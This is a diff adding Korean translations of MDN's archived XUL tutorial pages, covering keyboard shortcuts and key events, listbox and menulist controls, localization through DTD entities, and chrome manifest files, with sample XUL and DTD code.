파일 찾기 대화창을 위한 키보드 단축키를 추가해 보겠습니다. 4개의 단축키를 넣을 것인데, Cut, Copy, Paste 명령에 각각 하나씩과 ESC를 눌렀을 경우 사용할 Close 명령에 하나를 추가할 것입니다.

+ +
<keyset>
+  <key id="cut_cmd" modifiers="accel" key="X"/>
+  <key id="copy_cmd" modifiers="accel" key="C"/>
+  <key id="paste_cmd" modifiers="accel" key="V"/>
+  <key id="close_cmd" keycode="VK_ESCAPE" oncommand="window.close();"/>
+</keyset>
+
+<vbox flex="1">
+ <toolbox>
+  <menubar id="findfiles-menubar">
+   <menu id="file-menu" label="File" accesskey="f">
+     <menupopup id="file-popup">
+       <menuitem label="Open Search..." accesskey="o"/>
+       <menuitem label="Save Search..." accesskey="s"/>
+       <menuseparator/>
+       <menuitem label="Close" accesskey="c" key="close_cmd"
+         oncommand="window.close();"/>
+     </menupopup>
+   </menu>
+   <menu id="edit-menu" label="Edit" accesskey="e">
+     <menupopup id="edit-popup">
+       <menuitem label="Cut" accesskey="t" key="cut_cmd"/>
+       <menuitem label="Copy" accesskey="c" key="copy_cmd"/>
+       <menuitem label="Paste" accesskey="p" key="paste_cmd" disabled="true"/>
+     </menupopup>
+   </menu>
+
+ +

이제 우리는 명령을 실행하기 위해 단축키를 사용할 수 있습니다. 물론 아직 클립보드와 관련된 스크립트를 작성하지 않았기 때문에 아무것도 수행되지는 않을 것입니다.

+
+ +

키 이벤트

+ +

위에서 언급한 키와 관련된 기능이 적당하지 않은 경우에 사용할 수 있는 세 가지 키보드 이벤트가 있습니다. 이 이벤트는 다음과 같습니다.

+ +
+
keypress 
+
포커스를 가진 요소에 키가 눌러졌다가 때어질때 호출됩니다. 입력필드에 특정 문자만 입력 가능 하도록 하고자 할 때 사용할 수 있습니다.
+
keydown 
+
포커스를 가진 요소에 키가 눌러졌을 때 호출됩니다. 이 이벤트는 키를 누른 후 때지 않더라도 발생합니다.
+
keyup 
+
포커스를 가진 요소에 눌러진 키가 떨어질 때 호출됩니다.
+
+ +

키 이벤트는 포커스를 가진 요소로만 전달됩니다. 일반적으로 텍스트상자, 버튼, 체크박스 등이 이에 해당합니다. 포커스를 가진 요소가 아무것도 없다면 XUL 문서가 이벤트의 대상이 됩니다. 이 경우, window 태그에 이벤트 리스너를 추가할 수 있습니다. 그렇지만 일반적으로 전역적인 키에 응답하는 경우에는 앞에서 언급한 키보드 단축키를 사용합니다.

+ +

키의 이벤트 객체는 눌러진 키에 대한 정보를 담고 있는 두 가지 속성이 있습니다. keyCode 속성은 키 코드를 가지고 있으며 앞 절에서 본 키 테이블에 있는 상수들 중 하나와 비교될 수 있습니다. charCode 속성은 출력 가능한 문자로 눌러진 키에 해당하는 문자 코드를 담고 있습니다.

+ +
지금까지의 파일 찾기 예제 : Source View
+ +

다음 절에서는 포커스와 선택을 처리하는 방법에 대해 알아보겠습니다.

+ +

+

« 이전다음 »

+

+ +

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/list_controls/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/list_controls/index.html new file mode 100644 index 0000000000..de4f6124da --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/list_controls/index.html @@ -0,0 +1,133 @@ +--- +title: List Controls +slug: Mozilla/Tech/XUL/XUL_Tutorial/List_Controls +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/List_Controls +--- +

+

« 이전다음 »

+

+

XUL은 목록 상자를 생성하는 여러 요소의 형식을 가지고 있습니다.

+

목록 상자

+

목록 상자는 목록에서 여러 항목을 표시하는 데 사용됩니다. 사용자는 리스트에서 어떤 항목을 선택할 수 있습니다.

+

XUL은 목록을 생성하기 위해 두 가지 요소 타입을 제공하는데, listbox 요소는 다중 행 목록 상자를, 그리고 menulist요소는 드롭다운 목록 상자를 생성합니다. 이들은 HTML select 요소와 유사한 방식으로 작업을 하면서, 두 가지 기능 모두 수행하지만, XUL의 요소는 추가적인 기능을 가지고 있습니다.

+

가장 단순한 목록 상자는 상자 자체에 대해서는 listbox를 사용하고, listitem 요소는 각 항목으로 사용합니다. 예제를 보면, 이 목록 상자는 4개의 행을 가지면서, 각 항목마다 하나씩입니다.

+

예제 1 : Source View

+
+ Image:lists1.png
+
<listbox>
+  <listitem label="Butter Pecan"/>
+  <listitem label="Chocolate Chip"/>
+  <listitem label="Raspberry Ripple"/>
+  <listitem label="Squash Swirl"/>
+</listbox>
+
+

HTML의 option 요소가 가진 것과 마찬가지로, 사용자는 value 속성을 사용해서 각 항목에 대해 값을 할당할 수 있습니다. 그리고 나서 스크립트로 해당 값을 사용할 수 있습니다. 목록 상자는 적당한 크기를 기본으로 설정하지만, rows 속성으로 크기를 제어할 수 있습니다. 목록 상자에 출력될 행 수를 지정하기 위해 값을 설정하세요. rows 값 보다 더 많은 행이 있으면 이를 표시할 수 있는 스크롤바가 나타납니다.

+

다음의 예제는 이러한 추가 기능을 설명합니다.

+

예제 2 : Source View

+
<listbox rows="3">
+  <listitem label="Butter Pecan" value="bpecan"/>
+  <listitem label="Chocolate Chip" value="chocchip"/>
+  <listitem label="Raspberry Ripple" value="raspripple"/>
+  <listitem label="Squash Swirl" value="squash"/>
+</listbox>
+
+

이 예제는 한번에 단 3개 행만을 표시하도록 변경된 것입니다. 또한 목록에 있는 각 항목에 값이 추가되었습니다. 목록 상자는 더 많은 기능을 제공하며, 다음에서 설명하고 있습니다.

+

다중열 목록 상자

+

목록 상자는 다중열을 지원합니다. 셀에는 보통 텍스트가 쓰이지만 어떤 컨텐츠도 포함할 수 있습니다. 사용자가 목록에서 항목을 선택하면 행 전체가 선택되며, 하나의 셀만 선택되도록 할 수는 없습니다.

+

목록 상자에 열을 명시하기 위해서는 2개의 태그가 사용됩니다. listcols 요소는 열의 정보를 담기 위해 사용되며, 각 열에 대한 정보는 listcol요소를 사용해 명시합니다. 목록 상자의 각 열별로 하나의 listcol 요소가 필요합니다.

+

행에 포함되는 각 셀은 listcell 요소를 사용해 표현합니다. 3개의 열을 표현하려면, 각각의 listitem 내부에 3개의 listcell을 넣어야 합니다. 셀의 텍스트 컨텐츠를 명시하려면 listcell 요소의 label 속성을 사용합니다. 하나의 열만 있는 단순한 경우에는 label 속성을 listitem 요소에 직접 넣을 수 있으며, 이럴 경우에는 앞서 보았던 목록 상자 예제처럼 listcell 요소가 전혀 필요 없습니다.

+

다음은 두 개의 열과 세개의 행을 가진 목록 박스 예제입니다.

+

예제 3 : Source View

+
<listbox>
+  <listcols>
+    <listcol/>
+    <listcol/>
+  </listcols>
+  <listitem>
+    <listcell label="George"/>
+    <listcell label="House Painter"/>
+  </listitem>
+  <listitem>
+    <listcell label="Mary Ellen"/>
+    <listcell label="Candle Maker"/>
+  </listitem>
+  <listitem>
+    <listcell label="Roger"/>
+    <listcell label="Swashbuckler"/>
+  </listitem>
+</listbox>
+
+

머리 행

+

목록 상자에서는 특별한 머리 행을 사용할 수 있습니다. 이것은 일반적인 행과 비슷하지만 다른 모양으로 출력됩니다. 이것은 열 머리를 만들기 위해 사용할 수 있으며, 두 개의 새로운 요소가 사용됩니다.

+

listhead 요소는 listitem가 보통 행에 사용되는 것처럼, 머리 행을 위해 사용합니다. 머리 행은 보통 행이 아니라서, 스크립트를 이용해 목록 상자의 첫번째 행을 얻으려고 할 경우 무시됩니다.

+

listheader 요소는 머리 행의 각 셀에 사용됩니다. 머리 셀의 라벨을 지정하기 위해서는 label 속성을 사용하세요.

+

다음은 예제 3에 머리 행을 추가한 예제입니다.

+

예제 4 : Source View

+
+ Image:morelists1.png
+
<listbox>
+
+  <listhead>
+    <listheader label="Name"/>
+    <listheader label="Occupation"/>
+  </listhead>
+
+  <listcols>
+    <listcol/>
+    <listcol flex="1"/>
+  </listcols>
+
+  <listitem>
+    <listcell label="George"/>
+    <listcell label="House Painter"/>
+  </listitem>
+  <listitem>
+    <listcell label="Mary Ellen"/>
+    <listcell label="Candle Maker"/>
+  </listitem>
+  <listitem>
+    <listcell label="Roger"/>
+    <listcell label="Swashbuckler"/>
+  </listitem>
+
+</listbox>
+
+

위 예제에서는 열을 유연하게 만들기 위해 flex 속성을 사용하였습니다. 이 속성은 다음 절에서 설명하겠지만, 여기서는 열이 남은 공간을 모두 채우도록 하는데 사용하고 있습니다. 여러분이 창의 크기를 변경하면 열이 창만큼 늘어나는 것을 볼 수 있을 것입니다. 창의 크기가 줄어들면, 셀안에 있는 라벨이 자동으로 잘려 지고 생략부호가 출력됩니다. 생략부호가 출력되지 않도록 하기 위해서는 셀이나 아이템에 crop 속성을 none으로 설정하면 됩니다.

+

드롭다운 목록

+

드롭다운 목록은 select 요소를 사용하여 HTML에서 생성할 수 있습니다. 사용자는 텍스트상자에서 하나만 선택된 것을 볼 수도 그리고 화살표를 클릭하거나 다른 선택을 하기 위해 텍스트상자 옆에 있는 유사한 버튼을 클릭할 수도 있습니다. 다른 선택사항은 팝업창에 나타날 것입니다. XUL은 이런 목적에 사용할 수 잇는 menulist 요소를 가지고 있습니다. 이것은 텍스트상자와 그 옆에 있는 버튼으로 이루어집니다. 이름이 선택된 것은 내부에서 선택된 메뉴로 띄워졌기 때문입니다.

+

드롭다운 상자를 기술하기 위해서는 세 가지 요소가 필요합니다. 첫번째는 menulist 요소로 버튼을 가진 텍스트상자를 생성합니다. 두번째는 menupopup으로 버튼을 클릭했을 때 나타나는 팝업창을 생성합니다. 세번재는 menuitem으로 개별 선택 항목을 생성합니다.

+

다음의 예제는 이런한 점을 잘 설명하고 있는 구문입니다.

+

예제 5 : Source View

+
+ Image:inputs2.png
+
<menulist label="Bus">
+  <menupopup>
+    <menuitem label="Car"/>
+    <menuitem label="Taxi"/>
+    <menuitem label="Bus" selected="true"/>
+    <menuitem label="Train"/>
+  </menupopup>
+</menulist>
+
+

위의 menulist는 4가지 선택 항목을 담고있는 데, 각각은 menuitem 요소에 해당 합니다. 선택 항목을 보이도록 하려면 menulist에서 화살 버튼(▼)을 클릭합니다. 하나를 선택하면, menulist에서 선택된 것이 나타납니다. selected 속성은 기본적으로 선택된 값을 지정하는 데 사용됩니다.

+

편집 가능한 메뉴목록

+

기본적으로 사용자는 목록에서 선택항목을 선택할 수만 있습니다. 여러분은 직접 타이핑해서 입력 할 수는 없습니다. 또 다른 종류의 menulist은 필드에서 텍스트 편집을 허용합니다. 예를 들면, 브라우저의 URL 필드 이전에 타이핑한 URL 선택을 위한 드롭다운 메뉴가 있는 데, 거기에 입력할 수도 있습니다.

+

편집가능한 menulist를 만들려면, 다음과 같은 editable 속성을 추가하면 됩니다.

+

예제 6 : Source View

+
<menulist editable="true">
+  <menupopup>
+    <menuitem label="www.mozilla.org"/>
+    <menuitem label="www.xulplanet.com"/>
+    <menuitem label="www.dmoz.org"/>
+  </menupopup>
+</menulist>
+
+

생성된 URL 필드는 사용자가 선택할 수 있는 이미 설정된 선택 항목을 가지고 있으면서 또한 필드에다 사용자 자신이 타이핑할 수도 있습니다. 사용자가 입력한 텍스트는 새로운 선택항목으로 추가되지는 않습니다. label 속성은 이 예제에선 사용되지 않았기 때문에, 기본 값은 공백으로 처리되게 됩니다.

+

다음 장에서는 진행 지시자 만들기를 익혀 보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/localization/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/localization/index.html new file mode 100644 index 0000000000..7ca10f7172 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/localization/index.html @@ -0,0 +1,279 @@ +--- +title: Localization +slug: Mozilla/Tech/XUL/XUL_Tutorial/Localization +tags: + - Localization + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Localization +--- +

+

« 이전다음 »

+

+

XUL과 XML은 지역화를 허락하는 편리한 방법인 엔티티(entity)를 제공합니다.

+

엔티티

+

많은 응용프로그램은 될 수 있는 대로 인터페이스를 다른 언어로 옮기기 간단하게 만듭니다. 보통은, 각 언어를 위해 문자열 표를 만듭니다. 응용프로그램에 직접 하드코딩한 텍스트 대신, 각 언어별 텍스트는 오직 문자열 표로 만든 참조입니다. XML은 비슷한 목적으로 쓸 수 있는 엔티티를 제공합니다.

+

여러분이 HTML를 써 봤다면 엔티티와는 벌써 친숙할 겁니다. 코드 &lt;&gt;는 텍스트에 less than(~보다 적은)과 greater than(~보다 큰) 기호로 놓고 쓸 수 있는 엔티티 예입니다. XML에는 사용자 정의 엔티티를 선언하게 하는 문법이 있습니다. 여러분은 엔티티가 그 값(하나로 이어진 텍스트일 수 있는)으로 치환되도록 사용자 정의 엔티티를 쓸 수 있습니다. 엔티티가 속성값을 포함하는 텍스트마다 쓰일 지도 모릅니다. 아래 예는 버튼에 쓰이는 엔티티를 실제로 보입니다.

+
<button label="&findLabel;"/>
+
+

label에 나타날 텍스트는 엔티티 &findLabel;의 값입니다. 파일은 지원하는 각 언어를 위한 엔티티 선언을 포함하여 만듭니다. 영어에서, &findLabel; 엔티티는 아마도 "Find" 텍스트 값으로 선언될 겁니다.

+

DTD 파일

+

엔티티는 DTD ( + + 문서 형 선언 + ) 파일에 선언합니다. 이 형의 파일은 보통 특정 XML 파일의 문법과 의미를 선언하는데 쓰지만 또한 엔티티 선언에 씁니다. Mozilla chrome 시스템에서, <tt>locales</tt> 하위디렉토리에 있는 DTD 파일을 발견할 겁니다. 보통 XUL 파일당 DTD 파일(확장자가 <tt>.dtd</tt>) 하나입니다.

+

chome 디렉토리를 들여다보면, 당신 언어를 위한 압축(archive) 파일이 보입니다. (<tt>en-US.jar</tt>는 영어 기본값입니다.) 여러 언어 locale 파일이 있을 지도 모릅니다. 예를 들어, 미국 영어(en-US)와 프랑스어(fr). 이 압축 파일 안에서, 각 창을 위한 지역화 텍스트를 담은 파일을 발견할 겁니다. 압축 파일의 구조는 스킨에 쓰는 디렉토리 구조와 매우 비슷합니다.

+

압축 파일 안에, 엔티티를 선언한 DTD 파일을 둡니다. 대체로, 각 XUL 파일에 DTD 파일 하나이고 보통은 <tt>.dtd</tt> 확장자를 빼면 같은 파일명입니다. 그래서 파일 찾기(find files) 대화상자는 findfile.dtd로 이름 붙인 파일이 필요합니다.

+

설치하지 않은 chrome 파일을 위해서는, 그냥 XUL 파일과 같은 디렉토리에 DTD 파일을 둘 수 있습니다.

+
+ 주의: 아스키가 아닌 문자를 위해 DTD 파일을 UTF-8N으로 인코드해야 합니다.
+

한 번 XUL에 DTD 파일을 만들면, XUL 파일에 쓰고 싶은 DTD 파일을 나타내는 줄이 XUL 파일에 필요합니다. 그렇지 않으면, 엔티티를 찾을 수 없을 거라는 에러가 발생합니다. 이를 위해, XUL 파일 위쪽쯤에 다음 꼴로 한 줄을 추가하세요.

+
<!DOCTYPE window SYSTEM "chrome://findfile/locale/findfile.dtd">
+
+

이 줄은 나타낸 URL이 파일을 위한 DTD로 쓰임을 지정합니다. 이 경우에, 우리는 <tt>findfile.dtd</tt> 파일을 쓰기 원한다고 선언했습니다. 이 줄은 보통 window 요소 바로 앞에 둡니다.

+

엔티티 선언하기

+

엔티티는 아래 보는 대로 간단한 문법을 써서 선언합니다.

+
<!ENTITY findLabel "Find">
+
+

이 예는 이름이 findLabel이고 값이 "Find"인 엔티티를 만듭니다. 이는 텍스트 "&findLabel;"가 XUL 파일에 나타날 때마다, 텍스트 "Find"로 바꿈을 뜻합니다. 엔티티 선언은 선언 끝에 끌리는(trailing) 빗금(/)이 없음을 유념하세요. 다른 언어를 위한 DTD 파일에서는, 그 언어를 위한 텍스트가 대신 쓰입니다.

+
for Korean:
+<!ENTITY findLabel "찾기">
+
+

예를 들면, 다음 텍스트는

+
<description value="&findLabel;"/>
+
+

아래처럼 옮깁니다.

+
English version:
+<description value="Find"/>
+
+Korean version:
+<description value="찾기"/>
+
+

여러분은 인터페이스에 쓸 라벨이나 텍스트 문자열을 위한 엔티티를 선언합니다. XUL 파일에 직접 표시할 텍스트가 전혀 없어도 좋습니다.

+

텍스트 라벨를 위한 엔티티 사용 외에도, 엔티티를 다른 언어에서는 서로 다른 아무 값에 써도 좋습니다. 예를 들면, 키보드 단축키

+
 XUL
+ <menuitem label="&undo.label;" accesskey="&undo.key;"/>
+ DTD
+ <!ENTITY undo.label "Undo">
+ <!ENTITY undo.key "u">
+
+

위 예는 엔티티 둘을 씁니다. 실행 취소 메뉴 항목 라벨에 하나 그리고 단축키를 위해 하나.

+

 

+
+

Find Files 예제 바꾸기

+

모든 텍스트 문자열을 위해 DTD 파일을 쓰도록 find files 대화상자를 수정하여 어떻게 이 모두를 함께 놓는지 살펴봅시다. 전체 XUL 파일은 빨간색으로 쓴 바뀐 부분과 함께 아래에 보입니다.

+
<?xml version="1.0"?>
+
+<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
+<?xml-stylesheet href="findfile.css" type="text/css"?>
+
+<!DOCTYPE window SYSTEM "chrome://findfile/locale/findfile.dtd">
+
+<window
+  id="findfile-window"
+  title="&findWindow.title;"
+  persist="screenX screenY width height"
+  orient="horizontal"
+  onload="initSearchList()"
+  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+
+<script src="findfile.js"/>
+
+<popupset>
+   <popup id="editpopup">
+     <menuitem label="Cut" accesskey="&cutCmd.accesskey;"/>
+     <menuitem label="Copy" accesskey="&copyCmd.accesskey;"/>
+     <menuitem label="Paste" accesskey="&pasteCmd.accesskey;" disabled="true"/>
+   </popup>
+</popupset>
+
+<keyset>
+   <key id="cut_cmd" modifiers="accel" key="&cutCmd.commandkey;"/>
+   <key id="copy_cmd" modifiers="accel" key="&copyCmd.commandkey;"/>
+   <key id="paste_cmd" modifiers="accel" key="&pasteCmd.commandkey;"/>
+   <key id="close_cmd" keycode="VK_ESCAPE" oncommand="window.close();"/>
+</keyset>
+
+<vbox flex="1">
+
+ <toolbox>
+
+  <menubar id="findfiles-menubar">
+    <menu id="file-menu" label="&fileMenu.label;"
+        accesskey="&fileMenu.accesskey;">
+      <menupopup id="file-popup">
+        <menuitem label="&openCmd.label;"
+                  accesskey="&openCmd.accesskey;"/>
+        <menuitem label="&saveCmd.label;"
+                  accesskey="&saveCmd.accesskey;"/>
+        <menuseparator/>
+        <menuitem label="&closeCmd.label;"
+                  accesskey="&closeCmd.accesskey;" key="close_cmd" oncommand="window.close();"/>
+      </menupopup>
+    </menu>
+    <menu id="edit-menu" label="&editMenu.label;"
+          accesskey="&editMenu.accesskey;">
+      <menupopup id="edit-popup">
+        <menuitem label="&cutCmd.label;"
+                  accesskey="&cutCmd.accesskey;" key="cut_cmd"/>
+        <menuitem label="&copyCmd.label;"
+                  accesskey="&copyCmd.accesskey;" key="copy_cmd"/>
+        <menuitem label="&pasteCmd.label;"
+                  accesskey="&pasteCmd.accesskey;" key="paste_cmd" disabled="true"/>
+      </menupopup>
+    </menu>
+  </menubar>
+
+  <toolbar id="findfiles-toolbar">
+    <toolbarbutton id="opensearch" label="&openCmdToolbar.label;"/>
+    <toolbarbutton id="savesearch" label="&saveCmdToolbar.label;"/>
+  </toolbar>
+ </toolbox>
+
+ <tabbox>
+  <tabs>
+    <tab label="&searchTab;" selected="true"/>
+    <tab label="&optionsTab;"/>
+  </tabs>
+
+  <tabpanels>
+
+   <tabpanel id="searchpanel" orient="vertical" context="editpopup">
+
+   <description>
+     &findDescription;
+   </description>
+
+   <spacer class="titlespace"/>
+
+   <groupbox orient="horizontal">
+     <caption label="&findCriteria;"/>
+
+     <menulist id="searchtype">
+       <menupopup>
+         <menuitem label="&type.name;"/>
+         <menuitem label="&type.size;"/>
+         <menuitem label="&type.date;"/>
+       </menupopup>
+     </menulist>
+   <spacer class="springspace"/>
+     <menulist id="searchmode">
+       <menupopup>
+         <menuitem label="&mode.is;"/>
+         <menuitem label="&mode.isnot;"/>
+       </menupopup>
+     </menulist>
+   <spacer class="springspace"/>
+
+   <menulist id="find-text" flex="1"
+             editable="true"
+             datasources="file:///mozilla/recents.rdf"
+             ref="http://www.xulplanet.com/rdf/recent/all">
+     <template>
+       <menupopup>
+         <menuitem label="rdf:http://www.xulplanet.com/rdf/recent#Label" uri="rdf:*"/>
+       </menupopup>
+     </template>
+   </menulist>
+
+   </groupbox>
+
+  </tabpanel>
+
+  <tabpanel id="optionspanel" orient="vertical">
+     <checkbox id="casecheck" label="&casesensitive;"/>
+     <checkbox id="wordscheck" label="&matchfilename;"/>
+    </tabpanel>
+
+  </tabpanels>
+ </tabbox>
+
+ <tree id="results" style="display: none;" flex="1">
+   <treecols>
+     <treecol id="name" label="&results.filename;" flex="1"/>
+     <treecol id="location" label="&results.location;" flex="2"/>
+     <treecol id="size" label="&results.size;" flex="1"/>
+   </treecols>
+
+   <treechildren>
+     <treeitem>
+       <treerow>
+         <treecell label="mozilla"/>
+         <treecell label="/usr/local"/>
+         <treecell label="&bytes.before;2520&bytes.after;"/>
+       </treerow>
+     </treeitem>
+   </treechildren>
+ </tree>
+
+ <splitter id="splitbar" resizeafter="grow" style="display: none;"/>
+
+ <spacer class="titlespace"/>
+
+ <hbox>
+   <progressmeter id="progmeter" value="50%" style="display: none;"/>
+   <spacer flex="1"/>
+   <button id="find-button" label="&button.find;"
+           oncommand="doFind()"/>
+   <button id="cancel-button" label="&button.cancel;"
+           oncommand="window.close();"/>
+ </hbox>
+</vbox>
+
+</window>
+
+

각 텍스트 문자열은 엔티티 참조로 바뀝니다. DTD 파일은 XUL 파일의 시작 부분쯤에 포함됩니다. 추가될 각 엔티티는 DTD 파일에 선언하면 좋습니다. 창은 XUL 파일에서 찾은 엔티티가 선언되지 않았으면 표시되지 않습니다.

+

엔티티 이름은 중요하지 않음을 유념하세요. 위 예제에서, 엔티티에 쓰인 단어는 마침표로 구분됐습니다. 여러분은 이렇게 하지 않아도 됩니다. 여기 엔티티 이름은 Mozilla 코드 나머지와 비슷한 관례(convention)를 따릅니다.

+

여러분이 텍스트 '2520 bytes'는 두 엔티티로 바뀌었음에 알아챌지도 모릅니다. 이는 구(phrase) 구조가 딴 locale에서 다를 지도 모르기 때문입니다. 예를 들면, 숫자는 대응하는 'bytes' 뒤 말고 앞에 나올 필요가 있을지도 모릅니다. 물론, 이는 필요에 따라 KB나 MB 표시를 위해 더 복잡할 지도 모릅니다.

+

단축키(access key와 keyboard shortcut)도 아마 딴 locale에서 다를 지도 모르기 때문에 또한 엔티티로 번역됩니다.

+

다음은, DTD 파일(findfile.dtd)입니다.

+
<!ENTITY findWindow.title "Find Files">
+<!ENTITY fileMenu.label "File">
+<!ENTITY editMenu.label "Edit">
+<!ENTITY fileMenu.accesskey "f">
+<!ENTITY editMenu.accesskey "e">
+<!ENTITY openCmd.label "Open Search...">
+<!ENTITY saveCmd.label "Save Search...">
+<!ENTITY closeCmd.label "Close">
+<!ENTITY openCmd.accesskey "o">
+<!ENTITY saveCmd.accesskey "s">
+<!ENTITY closeCmd.accesskey "c">
+<!ENTITY cutCmd.label "Cut">
+<!ENTITY copyCmd.label "Copy">
+<!ENTITY pasteCmd.label "Paste">
+<!ENTITY cutCmd.accesskey "t">
+<!ENTITY copyCmd.accesskey "c">
+<!ENTITY pasteCmd.accesskey "p">
+<!ENTITY cutCmd.commandkey "X">
+<!ENTITY copyCmd.commandkey "C">
+<!ENTITY pasteCmd.commandkey "V">
+<!ENTITY openCmdToolbar.label "Open">
+<!ENTITY saveCmdToolbar.label "Save">
+<!ENTITY searchTab "Search">
+<!ENTITY optionsTab "Options">
+<!ENTITY findDescription "Enter your search criteria below and select the Find button to begin the search.">
+<!ENTITY findCriteria "Search Criteria">
+<!ENTITY type.name "Name">
+<!ENTITY type.size "Size">
+<!ENTITY type.date "Date Modified">
+<!ENTITY mode.is "Is">
+<!ENTITY mode.isnot "Is Not">
+<!ENTITY casesensitive "Case Sensitive Search">
+<!ENTITY matchfilename "Match Entire Filename">
+<!ENTITY results.filename "Filename">
+<!ENTITY results.location "Location">
+<!ENTITY results.size "Size">
+<!ENTITY bytes.before "">
+<!ENTITY bytes.after "bytes">
+<!ENTITY button.find "Find">
+<!ENTITY button.cancel "Cancel">
+
+

이제, 새 언어를 위한 텍스트를 추가하기 위해 필요한 모든 것은 다른 DTD 파일을 만드는 겁니다. 딴 locale에 DTD 파일을 추가하기 위해 chrome 시스템을 써서, 같은 XUL 파일을 다른 언어에 쓸 수 있습니다.

+

지금까지 Find files 예제: Source

+
+


+ 다음은, 프로퍼티 파일을 보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/manifest_files/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/manifest_files/index.html new file mode 100644 index 0000000000..bf2e970432 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/manifest_files/index.html @@ -0,0 +1,118 @@ +--- +title: Manifest Files +slug: Mozilla/Tech/XUL/XUL_Tutorial/Manifest_Files +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Manifest_Files +--- +

+

« 이전다음 »

+

+


+ 이번 섹션에서는 꾸러미에 chrome과 XUL 파일을 넣는 방법과 꾸러미를 위한 선언 파일(manifest file)을 생성하는 방법에 대해 알아 보겠습니다.

+

꾸러미

+

꾸러미는 사용자 인터페이스의 기능을 정의하는 XUL 파일과 스크립트의 집합입니다. 꾸러미는 모질라에 설치될 수 있으며, chrome URL로 참조될 수도 있습니다. 꾸러미는 어떤 종류의 파일도 포함할 수 있고, 필요한 경우에는 꾸러미의 여러 부분을 하위 디렉토리에 나누어 담을 수도 있습니다. 꾸러미는 디렉토리나 JAR 아카이브로 저장될 수 있습니다.

+

선언 파일

+

선언 파일은 꾸러미를 설명하고 꾸러미의 디스크에서의 위치와 chrome URL을 연결하는데 사용됩니다. Mozilla 응용 프로그램이 시작될 때 어떤 꾸러미들이 설치되어 있는지 확인하기 위해 chrome 디렉토리에 있는 선언 파일을 검사합니다. 이것은 새로운 꾸러미를 설치하기 위해 여러분이 해야 할 작업은 새로운 선언 파일을 어플리케이션 chrome 디렉토리나 사용자 chrome 디렉토리에 추가하는 것 뿐이라는 것을 의미합니다. 후자의 chrome 디렉토리는 보통 어플리케이션 디렉토리에 쓰기 권한이 없을 수 있기 때문에 사용되는 방법입니다.

+

만일 여러분이 권한이 있는 XUL 코드를 Firefox 브라우저에서 테스트 하려고 한다며, 다음의 절차와 같이 한줄만 있는 선언 파일을 가지고 쉽게 할 수 있습니다.

+
    +
  1. 어딘가에 새로운 디렉토리를 생성하세요. 예를 들어, Windows일 경우 C:\testfiles일 수 있겠습니다.
  2. +
  3. Chrome 디렉토리에 test.manifest라는 이름을 가진 새로운 ASCII1 파일을 만드세요. 파일은 .manifest라는 확장자를 가지기만 하면 어떤 이름이든 상관 없습니다. (1. BOM을 가진 UTF-8은 작동하지 않습니다.)
  4. +
  5. 선언 파일에 다음 라인을 추가하세요.
  6. +
+
 content tests file:///C:/testfiles/
+
+

위 라인상의 파일 경로는 앞서 생성한 디렉토리를 가리켜야 합니다. 파일 경로를 정확히 모를 경우에는 브라우저에서 해당 경로를 열고 주소 영역에서 URL을 복사하세요.

+

이게 답니다! 이제 여러분이 새로운 디렉토리에 몇 가지 XUL 파일들을 추가만 하면, chrome://tests/content/<filename> 형식으로 chrom URL을 입력하여 해당 파일을을 로드할 수 있을 것입니다. 물론 변경된 내용을 반영하기 위해서는 브라우저를 재시작 해야 합니다. 만일 파일이 로드되지 않는다면, 파일 경로가 정확한지 확인하세요.

+

내용(content) 꾸러미를 위한 선언 파일 라인의 기본 구문은 다음과 같습니다.

+

'content <packagename> <filepath>'

+

첫 번째 필드인 'content'는 내용(content) 꾸러미라는 것을 나타냅니다. 테마일 경우에는 'skin'을 쓰고, 로케일인 경우에는 'locale'을 사용합니다. 위 예제에서 packagename은 'tests'이고, 이것은 chrome://tests/content/sample.xul의 chrome URL 첫번째 필드가 'tests'라는 것을 의미합니다. 만일 꾸러미 이름이 'browser'였다면 chrom URL은 chrome://browser/content/가 될 수 있습니다. 마지막 필드는 파일들이 위치한 경로 입니다. 이것은 파일 URL을 사용한 로컬 파일 경로이거나 jar URL을 사용한 JAR 아카이브(archive) 일 수 있습니다. JAR 아카이브에 대해서는 잠시 후에 설명할 것입니다. 선언 파일에 또 다른 라인을 포함하여 여러개의 꾸러미를 명시할 수도 있습니다.

+

Firefox에서 사용하는 browser.manifest 파일은 다음과 같습니다.

+
content branding jar:browser.jar!/content/branding/ xpcnativewrappers=yes
+content browser jar:browser.jar!/content/browser/ xpcnativewrappers=yes
+overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul
+overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul
+overlay chrome://browser/content/pageInfo.xul chrome://pippki/content/PageInfoOverlay.xul
+
+

여기에는 'branding'과 'browser' 두 개의 꾸러미가 나열되어 있습니다. 또 세 개의 overlays가 명시되어 있는데, 이는 다른 꾸러미의 내용(content)이 함께 조합될 수 있게 해 줍니다. 확장기능들은 대부분 브라우저의 UI와 확장기능의 UI가 병합(merge)되기 때문에 overlays를 사용하게 됩니다.

+

branding과 browser 꾸러미의 파일 경로는 content가 아카이브로 꾸려져 있기 때문에 jar URL을 사용하고 있습니다. JAR 아카이브는 ZIP 유틸리티를 이용해 생성할 수 있습니다. Chrome 디렉토리에 위치한 JAR 파일인 경우에는 다음과 같이 아주 간단합니다.

+

jar:<filename.jar>!/<path_in_archive>

+

